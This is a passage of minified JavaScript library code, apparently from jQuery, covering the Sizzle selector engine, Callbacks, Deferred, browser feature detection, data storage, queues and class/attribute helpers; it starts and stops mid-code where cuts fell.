t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},r=at.support={},p=at.setDocument=function(e){var n=e?e.ownerDocument||e:w,i=n.defaultView;return n!==f&&9===n.nodeType&&n.documentElement?(f=n,d=n.documentElement,h=!s(n),i&&i.attachEvent&&i!==i.top&&i.attachEvent("onbeforeunload",function(){p()}),r.attributes=ut(function(e){return e.className="i",!e.getAttribute("className")}),r.getElementsByTagName=ut(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),r.getElementsByClassName=ut(function(e){return e.innerHTML="<div class='a'></div><div class='a i'></div>",e.firstChild.className="i",2===e.getElementsByClassName("i").length}),r.getById=ut(function(e){return d.appendChild(e).id=b,!n.getElementsByName||!n.getElementsByName(b).length}),r.getById?(o.find.ID=function(e,t){if(typeof t.getElementById!==j&&h){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){return e.getAttribute("id")===t}}):(delete o.find.ID,o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){var n=typeof e.getAttributeNode!==j&&e.getAttributeNode("id");return n&&n.value===t}}),o.find.TAG=r.getElementsByTagName?function(e,n){return typeof n.getElementsByTagName!==j?n.getElementsByTagName(e):t}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},o.find.CLASS=r.getElementsByClassName&&function(e,n){return typeof n.getElementsByClassName!==j&&h?n.getElementsByClassName(e):t},m=[],g=[],(r.qsa=K.test(n.querySelectorAll))&&(ut(function(e){e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll("[selected]").length||g.push("\\["+P+"*(?:value|"+B+")"),e.querySelectorAll(":checked").length||g.push(":checked")}),ut(function(e){var t=n.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("t",""),e.querySelectorAll("[t^='']").length&&g.push("[*^$]="+P+"*(?:''|\"\")"),e.querySelectorAll(":enabled").length||g.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),g.push(",.*:")})),(r.matchesSelector=K.test(y=d.webkitMatchesSelector||d.mozMatchesSelector||d.oMatchesSelector||d.msMatchesSelector))&&ut(function(e){r.disconnectedMatch=y.call(e,"div"),y.call(e,"[s!='']:x"),m.push("!=",I)}),g=g.length&&RegExp(g.join("|")),m=m.length&&RegExp(m.join("|")),v=K.test(d.contains)||d.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},A=d.compareDocumentPosition?function(e,t){if(e===t)return S=!0,0;var i=t.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition(t);return i?1&i||!r.sortDetached&&t.compareDocumentPosition(e)===i?e===n||v(w,e)?-1:t===n||v(w,t)?1:c?F.call(c,e)-F.call(c,t):0:4&i?-1:1:e.compareDocumentPosition?-1:1}:function(e,t){var r,i=0,o=e.parentNode,a=t.parentNode,s=[e],l=[t];if(e===t)return S=!0,0;if(!o||!a)return e===n?-1:t===n?1:o?-1:a?1:c?F.call(c,e)-F.call(c,t):0;if(o===a)return pt(e,t);r=e;while(r=r.parentNode)s.unshift(r);r=t;while(r=r.parentNode)l.unshift(r);while(s[i]===l[i])i++;return i?pt(s[i],l[i]):s[i]===w?-1:l[i]===w?1:0},n):f},at.matches=function(e,t){return at(e,null,null,t)},at.matchesSelector=function(e,t){if((e.ownerDocument||e)!==f&&p(e),t=t.replace(Y,"='$1']"),!(!r.matchesSelector||!h||m&&m.test(t)||g&&g.test(t)))try{var n=y.call(e,t);if(n||r.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(i){}return at(t,f,null,[e]).length>0},at.contains=function(e,t){return(e.ownerDocument||e)!==f&&p(e),v(e,t)},at.attr=function(e,n){(e.ownerDocument||e)!==f&&p(e);var i=o.attrHandle[n.toLowerCase()],a=i&&L.call(o.attrHandle,n.toLowerCase())?i(e,n,!h):t;return a===t?r.attributes||!h?e.getAttribute(n):(a=e.getAttributeNode(n))&&a.specified?a.value:null:a},at.error=function(e){throw Error("Syntax error, unrecognized expression: "+e)},at.uniqueSort=function(e){var t,n=[],i=0,o=0;if(S=!r.detectDuplicates,c=!r.sortStable&&e.slice(0),e.sort(A),S){while(t=e[o++])t===e[o]&&(i=n.push(o));while(i--)e.splice(n[i],1)}return e},a=at.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=a(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r];r++)n+=a(t);return n},o=at.selectors={cacheLength:50,createPseudo:lt,match:Q,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(rt,it),e[3]=(e[4]||e[5]||"").replace(rt,it),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||at.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&at.error(e[0]),e},PSEUDO:function(e){var n,r=!e[5]&&e[2];return Q.CHILD.test(e[0])?null:(e[3]&&e[4]!==t?e[2]=e[4]:r&&J.test(r)&&(n=mt(r,!0))&&(n=r.indexOf(")",r.length-n)-r.length)&&(e[0]=e[0].slice(0,n),e[2]=r.slice(0,n)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(rt,it).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=N[e+" "];return t||(t=RegExp("(^|"+P+")"+e+"("+P+"|$)"))&&N(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!==j&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=at.attr(r,e);return null==i?"!="===t:t?(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i+" ").indexOf(n)>-1:"|="===t?i===n||i.slice(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,l){var u,c,p,f,d,h,g=o!==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName.toLowerCase(),v=!l&&!s;if(m){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===y:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?m.firstChild:m.lastChild],a&&v){c=m[b]||(m[b]={}),u=c[e]||[],d=u[0]===T&&u[1],f=u[0]===T&&u[2],p=d&&m.childNodes[d];while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if(1===p.nodeType&&++f&&p===t){c[e]=[T,d,f];break}}else if(v&&(u=(t[b]||(t[b]={}))[e])&&u[0]===T)f=u[1];else while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===y:1===p.nodeType)&&++f&&(v&&((p[b]||(p[b]={}))[e]=[T,f]),p===t))break;return f-=i,f===r||0===f%r&&f/r>=0}}},PSEUDO:function(e,t){var n,r=o.pseudos[e]||o.setFilters[e.toLowerCase()]||at.error("unsupported pseudo: "+e);return r[b]?r(t):r.length>1?(n=[e,e,"",t],o.setFilters.hasOwnProperty(e.toLowerCase())?lt(function(e,n){var i,o=r(e,t),a=o.length;while(a--)i=F.call(e,o[a]),e[i]=!(n[i]=o[a])}):function(e){return r(e,0,n)}):r}},pseudos:{not:lt(function(e){var t=[],n=[],r=l(e.replace(z,"$1"));return r[b]?lt(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),!n.pop()}}),has:lt(function(e){return function(t){return at(e,t).length>0}}),contains:lt(function(e){return function(t){return(t.textContent||t.innerText||a(t)).indexOf(e)>-1}}),lang:lt(function(e){return G.test(e||"")||at.error("unsupported lang: "+e),e=e.replace(rt,it).toLowerCase(),function(t){var n;do if(n=h?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===d},focus:function(e){return e===f.activeElement&&(!f.hasFocus||f.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType)return!1;return!0},parent:function(e){return!o.pseudos.empty(e)},header:function(e){return tt.test(e.nodeName)},input:function(e){return et.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||t.toLowerCase()===e.type)},first:ht(function(){return[0]}),last:ht(function(e,t){return[t-1]}),eq:ht(function(e,t,n){return[0>n?n+t:n]}),even:ht(function(e,t){var n=0;for(;t>n;n+=2)e.push(n);return e}),odd:ht(function(e,t){var n=1;for(;t>n;n+=2)e.push(n);return e}),lt:ht(function(e,t,n){var r=0>n?n+t:n;for(;--r>=0;)e.push(r);return e}),gt:ht(function(e,t,n){var r=0>n?n+t:n;for(;t>++r;)e.push(r);return e})}},o.pseudos.nth=o.pseudos.eq;for(n in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})o.pseudos[n]=ft(n);for(n in{submit:!0,reset:!0})o.pseudos[n]=dt(n);function gt(){}gt.prototype=o.filters=o.pseudos,o.setFilters=new gt;function mt(e,t){var n,r,i,a,s,l,u,c=k[e+" "];if(c)return t?0:c.slice(0);s=e,l=[],u=o.preFilter;while(s){(!n||(r=X.exec(s)))&&(r&&(s=s.slice(r[0].length)||s),l.push(i=[])),n=!1,(r=U.exec(s))&&(n=r.shift(),i.push({value:n,type:r[0].replace(z," ")}),s=s.slice(n.length));for(a in o.filter)!(r=Q[a].exec(s))||u[a]&&!(r=u[a](r))||(n=r.shift(),i.push({value:n,type:a,matches:r}),s=s.slice(n.length));if(!n)break}return t?s.length:s?at.error(e):k(e,l).slice(0)}function yt(e){var t=0,n=e.length,r="";for(;n>t;t++)r+=e[t].value;return r}function vt(e,t,n){var r=t.dir,o=n&&"parentNode"===r,a=C++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||o)return e(t,n,i)}:function(t,n,s){var l,u,c,p=T+" "+a;if(s){while(t=t[r])if((1===t.nodeType||o)&&e(t,n,s))return!0}else while(t=t[r])if(1===t.nodeType||o)if(c=t[b]||(t[b]={}),(u=c[r])&&u[0]===p){if((l=u[1])===!0||l===i)return l===!0}else if(u=c[r]=[p],u[1]=e(t,n,s)||i,u[1]===!0)return!0}}function bt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function xt(e,t,n,r,i){var o,a=[],s=0,l=e.length,u=null!=t;for(;l>s;s++)(o=e[s])&&(!n||n(o,r,i))&&(a.push(o),u&&t.push(s));return a}function wt(e,t,n,r,i,o){return r&&!r[b]&&(r=wt(r)),i&&!i[b]&&(i=wt(i,o)),lt(function(o,a,s,l){var u,c,p,f=[],d=[],h=a.length,g=o||Nt(t||"*",s.nodeType?[s]:s,[]),m=!e||!o&&t?g:xt(g,f,e,s,l),y=n?i||(o?e:h||r)?[]:a:m;if(n&&n(m,y,s,l),r){u=xt(y,d),r(u,[],s,l),c=u.length;while(c--)(p=u[c])&&(y[d[c]]=!(m[d[c]]=p))}if(o){if(i||e){if(i){u=[],c=y.length;while(c--)(p=y[c])&&u.push(m[c]=p);i(null,y=[],u,l)}c=y.length;while(c--)(p=y[c])&&(u=i?F.call(o,p):f[c])>-1&&(o[u]=!(a[u]=p))}}else y=xt(y===a?y.splice(h,y.length):y),i?i(null,a,y,l):M.apply(a,y)})}function Tt(e){var t,n,r,i=e.length,a=o.relative[e[0].type],s=a||o.relative[" "],l=a?1:0,c=vt(function(e){return e===t},s,!0),p=vt(function(e){return F.call(t,e)>-1},s,!0),f=[function(e,n,r){return!a&&(r||n!==u)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;i>l;l++)if(n=o.relative[e[l].type])f=[vt(bt(f),n)];else{if(n=o.filter[e[l].type].apply(null,e[l].matches),n[b]){for(r=++l;i>r;r++)if(o.relative[e[r].type])break;return wt(l>1&&bt(f),l>1&&yt(e.slice(0,l-1).concat({value:" "===e[l-2].type?"*":""})).replace(z,"$1"),n,r>l&&Tt(e.slice(l,r)),i>r&&Tt(e=e.slice(r)),i>r&&yt(e))}f.push(n)}return bt(f)}function Ct(e,t){var n=0,r=t.length>0,a=e.length>0,s=function(s,l,c,p,d){var h,g,m,y=[],v=0,b="0",x=s&&[],w=null!=d,C=u,N=s||a&&o.find.TAG("*",d&&l.parentNode||l),k=T+=null==C?1:Math.random()||.1;for(w&&(u=l!==f&&l,i=n);null!=(h=N[b]);b++){if(a&&h){g=0;while(m=e[g++])if(m(h,l,c)){p.push(h);break}w&&(T=k,i=++n)}r&&((h=!m&&h)&&v--,s&&x.push(h))}if(v+=b,r&&b!==v){g=0;while(m=t[g++])m(x,y,l,c);if(s){if(v>0)while(b--)x[b]||y[b]||(y[b]=q.call(p));y=xt(y)}M.apply(p,y),w&&!s&&y.length>0&&v+t.length>1&&at.uniqueSort(p)}return w&&(T=k,u=C),x};return r?lt(s):s}l=at.compile=function(e,t){var n,r=[],i=[],o=E[e+" "];if(!o){t||(t=mt(e)),n=t.length;while(n--)o=Tt(t[n]),o[b]?r.push(o):i.push(o);o=E(e,Ct(i,r))}return o};function Nt(e,t,n){var r=0,i=t.length;for(;i>r;r++)at(e,t[r],n);return n}function kt(e,t,n,i){var a,s,u,c,p,f=mt(e);if(!i&&1===f.length){if(s=f[0]=f[0].slice(0),s.length>2&&"ID"===(u=s[0]).type&&r.getById&&9===t.nodeType&&h&&o.relative[s[1].type]){if(t=(o.find.ID(u.matches[0].replace(rt,it),t)||[])[0],!t)return n;e=e.slice(s.shift().value.length)}a=Q.needsContext.test(e)?0:s.length;while(a--){if(u=s[a],o.relative[c=u.type])break;if((p=o.find[c])&&(i=p(u.matches[0].replace(rt,it),V.test(s[0].type)&&t.parentNode||t))){if(s.splice(a,1),e=i.length&&yt(s),!e)return M.apply(n,i),n;break}}}return l(e,f)(i,t,!h,n,V.test(e)),n}r.sortStable=b.split("").sort(A).join("")===b,r.detectDuplicates=S,p(),r.sortDetached=ut(function(e){return 1&e.compareDocumentPosition(f.createElement("div"))}),ut(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||ct("type|href|height|width",function(e,n,r){return r?t:e.getAttribute(n,"type"===n.toLowerCase()?1:2)}),r.attributes&&ut(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||ct("value",function(e,n,r){return r||"input"!==e.nodeName.toLowerCase()?t:e.defaultValue}),ut(function(e){return null==e.getAttribute("disabled")})||ct(B,function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&i.specified?i.value:e[n]===!0?n.toLowerCase():null}),x.find=at,x.expr=at.selectors,x.expr[":"]=x.expr.pseudos,x.unique=at.uniqueSort,x.text=at.getText,x.isXMLDoc=at.isXML,x.contains=at.contains}(e);var O={};function F(e){var t=O[e]={};return x.each(e.match(T)||[],function(e,n){t[n]=!0}),t}x.Callbacks=function(e){e="string"==typeof e?O[e]||F(e):x.extend({},e);var n,r,i,o,a,s,l=[],u=!e.once&&[],c=function(t){for(r=e.memory&&t,i=!0,a=s||0,s=0,o=l.length,n=!0;l&&o>a;a++)if(l[a].apply(t[0],t[1])===!1&&e.stopOnFalse){r=!1;break}n=!1,l&&(u?u.length&&c(u.shift()):r?l=[]:p.disable())},p={add:function(){if(l){var t=l.length;(function i(t){x.each(t,function(t,n){var r=x.type(n);"function"===r?e.unique&&p.has(n)||l.push(n):n&&n.length&&"string"!==r&&i(n)})})(arguments),n?o=l.length:r&&(s=t,c(r))}return this},remove:function(){return l&&x.each(arguments,function(e,t){var r;while((r=x.inArray(t,l,r))>-1)l.splice(r,1),n&&(o>=r&&o--,a>=r&&a--)}),this},has:function(e){return e?x.inArray(e,l)>-1:!(!l||!l.length)},empty:function(){return l=[],o=0,this},disable:function(){return l=u=r=t,this},disabled:function(){return!l},lock:function(){return u=t,r||p.disable(),this},locked:function(){return!u},fireWith:function(e,t){return!l||i&&!u||(t=t||[],t=[e,t.slice?t.slice():t],n?u.push(t):c(t)),this},fire:function(){return p.fireWith(this,arguments),this},fired:function(){return!!i}};return p},x.extend({Deferred:function(e){var t=[["resolve","done",x.Callbacks("once memory"),"resolved"],["reject","fail",x.Callbacks("once memory"),"rejected"],["notify","progress",x.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return x.Deferred(function(n){x.each(t,function(t,o){var a=o[0],s=x.isFunction(e[t])&&e[t];i[o[1]](function(){var e=s&&s.apply(this,arguments);e&&x.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[a+"With"](this===r?n.promise():this,s?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?x.extend(e,r):r}},i={};return r.pipe=r.then,x.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=g.call(arguments),r=n.length,i=1!==r||e&&x.isFunction(e.promise)?r:0,o=1===i?e:x.Deferred(),a=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?g.call(arguments):r,n===s?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},s,l,u;if(r>1)for(s=Array(r),l=Array(r),u=Array(r);r>t;t++)n[t]&&x.isFunction(n[t].promise)?n[t].promise().done(a(t,u,n)).fail(o.reject).progress(a(t,l,s)):--i;return i||o.resolveWith(u,n),o.promise()}}),x.support=function(t){var n,r,o,s,l,u,c,p,f,d=a.createElement("div");if(d.setAttribute("className","t"),d.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",n=d.getElementsByTagName("*")||[],r=d.getElementsByTagName("a")[0],!r||!r.style||!n.length)return t;s=a.createElement("select"),u=s.appendChild(a.createElement("option")),o=d.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t.getSetAttribute="t"!==d.className,t.leadingWhitespace=3===d.firstChild.nodeType,t.tbody=!d.getElementsByTagName("tbody").length,t.htmlSerialize=!!d.getElementsByTagName("link").length,t.style=/top/.test(r.getAttribute("style")),t.hrefNormalized="/a"===r.getAttribute("href"),t.opacity=/^0.5/.test(r.style.opacity),t.cssFloat=!!r.style.cssFloat,t.checkOn=!!o.value,t.optSelected=u.selected,t.enctype=!!a.createElement("form").enctype,t.html5Clone="<:nav></:nav>"!==a.createElement("nav").cloneNode(!0).outerHTML,t.inlineBlockNeedsLayout=!1,t.shrinkWrapBlocks=!1,t.pixelPosition=!1,t.deleteExpando=!0,t.noCloneEvent=!0,t.reliableMarginRight=!0,t.boxSizingReliable=!0,o.checked=!0,t.noCloneChecked=o.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!u.disabled;try{delete d.test}catch(h){t.deleteExpando=!1}o=a.createElement("input"),o.setAttribute("value",""),t.input=""===o.getAttribute("value"),o.value="t",o.setAttribute("type","radio"),t.radioValue="t"===o.value,o.setAttribute("checked","t"),o.setAttribute("name","t"),l=a.createDocumentFragment(),l.appendChild(o),t.appendChecked=o.checked,t.checkClone=l.cloneNode(!0).cloneNode(!0).lastChild.checked,d.attachEvent&&(d.attachEvent("onclick",function(){t.noCloneEvent=!1}),d.cloneNode(!0).click());for(f in{submit:!0,change:!0,focusin:!0})d.setAttribute(c="on"+f,"t"),t[f+"Bubbles"]=c in e||d.attributes[c].expando===!1;d.style.backgroundClip="content-box",d.cloneNode(!0).style.backgroundClip="",t.clearCloneStyle="content-box"===d.style.backgroundClip;for(f in x(t))break;return t.ownLast="0"!==f,x(function(){var n,r,o,s="padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",l=a.getElementsByTagName("body")[0];l&&(n=a.createElement("div"),n.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",l.appendChild(n).appendChild(d),d.innerHTML="<table><tr><td></td><td>t</td></tr></table>",o=d.getElementsByTagName("td"),o[0].style.cssText="padding:0;margin:0;border:0;display:none",p=0===o[0].offsetHeight,o[0].style.display="",o[1].style.display="none",t.reliableHiddenOffsets=p&&0===o[0].offsetHeight,d.innerHTML="",d.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",x.swap(l,null!=l.style.zoom?{zoom:1}:{},function(){t.boxSizing=4===d.offsetWidth}),e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle(d,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(d,null)||{width:"4px"}).width,r=d.appendChild(a.createElement("div")),r.style.cssText=d.style.cssText=s,r.style.marginRight=r.style.width="0",d.style.width="1px",t.reliableMarginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),typeof d.style.zoom!==i&&(d.innerHTML="",d.style.cssText=s+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=3===d.offsetWidth,d.style.display="block",d.innerHTML="<div></div>",d.firstChild.style.width="5px",t.shrinkWrapBlocks=3!==d.offsetWidth,t.inlineBlockNeedsLayout&&(l.style.zoom=1)),l.removeChild(n),n=d=o=r=null)}),n=s=l=u=r=o=null,t
}({});var B=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;function R(e,n,r,i){if(x.acceptData(e)){var o,a,s=x.expando,l=e.nodeType,u=l?x.cache:e,c=l?e[s]:e[s]&&s;if(c&&u[c]&&(i||u[c].data)||r!==t||"string"!=typeof n)return c||(c=l?e[s]=p.pop()||x.guid++:s),u[c]||(u[c]=l?{}:{toJSON:x.noop}),("object"==typeof n||"function"==typeof n)&&(i?u[c]=x.extend(u[c],n):u[c].data=x.extend(u[c].data,n)),a=u[c],i||(a.data||(a.data={}),a=a.data),r!==t&&(a[x.camelCase(n)]=r),"string"==typeof n?(o=a[n],null==o&&(o=a[x.camelCase(n)])):o=a,o}}function W(e,t,n){if(x.acceptData(e)){var r,i,o=e.nodeType,a=o?x.cache:e,s=o?e[x.expando]:x.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){x.isArray(t)?t=t.concat(x.map(t,x.camelCase)):t in r?t=[t]:(t=x.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;while(i--)delete r[t[i]];if(n?!I(r):!x.isEmptyObject(r))return}(n||(delete a[s].data,I(a[s])))&&(o?x.cleanData([e],!0):x.support.deleteExpando||a!=a.window?delete a[s]:a[s]=null)}}}x.extend({cache:{},noData:{applet:!0,embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(e){return e=e.nodeType?x.cache[e[x.expando]]:e[x.expando],!!e&&!I(e)},data:function(e,t,n){return R(e,t,n)},removeData:function(e,t){return W(e,t)},_data:function(e,t,n){return R(e,t,n,!0)},_removeData:function(e,t){return W(e,t,!0)},acceptData:function(e){if(e.nodeType&&1!==e.nodeType&&9!==e.nodeType)return!1;var t=e.nodeName&&x.noData[e.nodeName.toLowerCase()];return!t||t!==!0&&e.getAttribute("classid")===t}}),x.fn.extend({data:function(e,n){var r,i,o=null,a=0,s=this[0];if(e===t){if(this.length&&(o=x.data(s),1===s.nodeType&&!x._data(s,"parsedAttrs"))){for(r=s.attributes;r.length>a;a++)i=r[a].name,0===i.indexOf("data-")&&(i=x.camelCase(i.slice(5)),$(s,i,o[i]));x._data(s,"parsedAttrs",!0)}return o}return"object"==typeof e?this.each(function(){x.data(this,e)}):arguments.length>1?this.each(function(){x.data(this,e,n)}):s?$(s,e,x.data(s,e)):null},removeData:function(e){return this.each(function(){x.removeData(this,e)})}});function $(e,n,r){if(r===t&&1===e.nodeType){var i="data-"+n.replace(P,"-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null:+r+""===r?+r:B.test(r)?x.parseJSON(r):r}catch(o){}x.data(e,n,r)}else r=t}return r}function I(e){var t;for(t in e)if(("data"!==t||!x.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}x.extend({queue:function(e,n,r){var i;return e?(n=(n||"fx")+"queue",i=x._data(e,n),r&&(!i||x.isArray(r)?i=x._data(e,n,x.makeArray(r)):i.push(r)),i||[]):t},dequeue:function(e,t){t=t||"fx";var n=x.queue(e,t),r=n.length,i=n.shift(),o=x._queueHooks(e,t),a=function(){x.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return x._data(e,n)||x._data(e,n,{empty:x.Callbacks("once memory").add(function(){x._removeData(e,t+"queue"),x._removeData(e,n)})})}}),x.fn.extend({queue:function(e,n){var r=2;return"string"!=typeof e&&(n=e,e="fx",r--),r>arguments.length?x.queue(this[0],e):n===t?this:this.each(function(){var t=x.queue(this,e,n);x._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&x.dequeue(this,e)})},dequeue:function(e){return this.each(function(){x.dequeue(this,e)})},delay:function(e,t){return e=x.fx?x.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,i=1,o=x.Deferred(),a=this,s=this.length,l=function(){--i||o.resolveWith(a,[a])};"string"!=typeof e&&(n=e,e=t),e=e||"fx";while(s--)r=x._data(a[s],e+"queueHooks"),r&&r.empty&&(i++,r.empty.add(l));return l(),o.promise(n)}});var z,X,U=/[\t\r\n\f]/g,V=/\r/g,Y=/^(?:input|select|textarea|button|object)$/i,J=/^(?:a|area)$/i,G=/^(?:checked|selected)$/i,Q=x.support.getSetAttribute,K=x.support.input;x.fn.extend({attr:function(e,t){return x.access(this,x.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){x.removeAttr(this,e)})},prop:function(e,t){return x.access(this,x.prop,e,t,arguments.length>1)},removeProp:function(e){return e=x.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,o,a=0,s=this.length,l="string"==typeof e&&e;if(x.isFunction(e))return this.each(function(t){x(this).addClass(e.call(this,t,this.className))});if(l)for(t=(e||"").match(T)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(U," "):" ")){o=0;while(i=t[o++])0>r.indexOf(" "+i+" ")&&(r+=i+" ");n.className=x.trim(r)}return this},removeClass:function(e){var t,n,r,i,o,a=0,s=this.length,l=0===arguments.length||"string"==typeof e&&e;if(x.isFunction(e))return this.each(function(t){x(this).removeClass(e.call(this,t,this.className))});if(l)for(t=(e||"").match(T)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(U," "):"")){o=0;while(i=t[o++])while(r.indexOf(" "+i+" ")>=0)r=r.replace(" "+i+" "," ");n.className=e?x.trim(r):""}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):x.isFunction(e)?this.each(function(n){x(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if("string"===n){var t,r=0,o=x(this),a=e.match(T)||[];while(t=a[r++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else(n===i||"boolean"===n)&&(this.className&&x._data(this,"__className__",this.className),this.className=this.className||e===!1?"":x._data(this,"__className__")||"")})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;r>n;n++)if(1===this[n].nodeType&&(" "+this[n].className+" ").replace(U," ").indexOf(t)>=0)return!0;return!1},val:function(e){var n,r,i,o=this[0];{if(arguments.length)return i=x.isFunction(e),this.each(function(n){var o;1===this.nodeType&&(o=i?e.call(this,n,x(this).val()):e,null==o?o="":"number"==typeof o?o+="":x.isArray(o)&&(o=x.map(o,function(e){return 